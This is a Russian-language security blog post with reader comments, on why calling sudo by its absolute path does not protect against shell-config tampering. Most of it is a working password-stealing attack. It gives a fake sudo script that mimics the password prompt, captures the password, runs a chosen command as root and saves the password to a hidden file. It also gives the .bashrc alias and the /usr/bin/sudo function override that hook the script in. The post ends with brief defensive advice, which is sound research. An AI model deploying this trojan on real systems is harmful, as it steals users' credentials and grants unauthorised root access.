Так ли безопасно использование абсолютного пути в *nix системах, как мы привыкли считать?
Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):
…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший "урожай” паролей.
…
Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.
Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.
Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.
Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc
для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.
Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.
Например, стандартный alias из .bashrc:
alias ll='ls -alF'
При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:
alias sudo='echo PWNED'
После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.
Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.
А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:
function /usr/bin/sudo() {
echo PWNED
}
Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.
Следующий этап — написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.
В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.
Для начала пишем код ядовитого sudo:
#!/bin/bash
echo -n "[sudo] password for $LOGNAME: "
read -s password
echo
command='whoami'
eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"
Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права не исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config
).
С помощью read -s password
мы считываем пароль в переменную $password.
В переменной command='whoami'
содержится команда, которую мы будем выполнять с повышенными правами.
Конструкция echo -e $password | sudo -S
в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.--prompt=''
нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.
Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:
alias sudo='~/.local/.config'
function /usr/bin/sudo() {
eval "~/.local/.config $*"
}
Проверяем:
Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.
command="echo $password > ~/.local/.1"
Пробуем:
Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su
или sudo --help
. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.
Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.
А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.
Спасибо за внимание:)
Комментарии (3)
21 февраля 2017 в 17:32
0↑
↓
С одной стороны ничего принципиально нового, но с другой стороны — правда, все так и есть и мало кто об этом задумывается. Как правило в случае утечки рутовых доступов лучше сносить контейнер вообще нафиг, перед этим постаравшись забэкапить что возможно. У нас однажды году в 2012-м через один PHP-сайтик доставшийся в наследство от прошлых разработчиков ломали сервак сделав нечто подобное, залив код спионеривания пароля.
С тех пор пароли везде отключены, все движения и привелегии только по RSA-ключам и сайтики на PHP после кого-бы-то-нибыло ни за какие деньги не берем в обслуживание, особенно на каких-то сомнительных админках. Да и с 2013-го в работе только Ruby/Rails используем, через дефолтный деплой-паттерн по deploy-ключам, так что руками никто никуда не влезает вообще. На особо важных серверах доступ руту к ssh вообще заблокирован, только через отдельного пользователя по ключам.
А если быть честным — никогда нельзя быть ни от чего застрахованным и произойти может что угодно. На любую меру безопасности есть контр-мера, вопрос только в том чтобы найти оптимальный уровень удобный для работы, но при этом относительно безопасный.21 февраля 2017 в 17:33
0↑
↓
А теперь главный вопрос: как же защититься от возможной атаки?
* Для «анонимов» делать отдельную учетную запись, в убунте есть «гостевая сессия».
* Если подключение через ssh — авторизоваться заново сразу в рута ключами (т.е. без использования sudo).21 февраля 2017 в 17:36
0↑
↓
Круто, спасибо за ещё один метод. Однако функции можно объявлять и прямо в оболочке, так что проверка конфига не спасёт: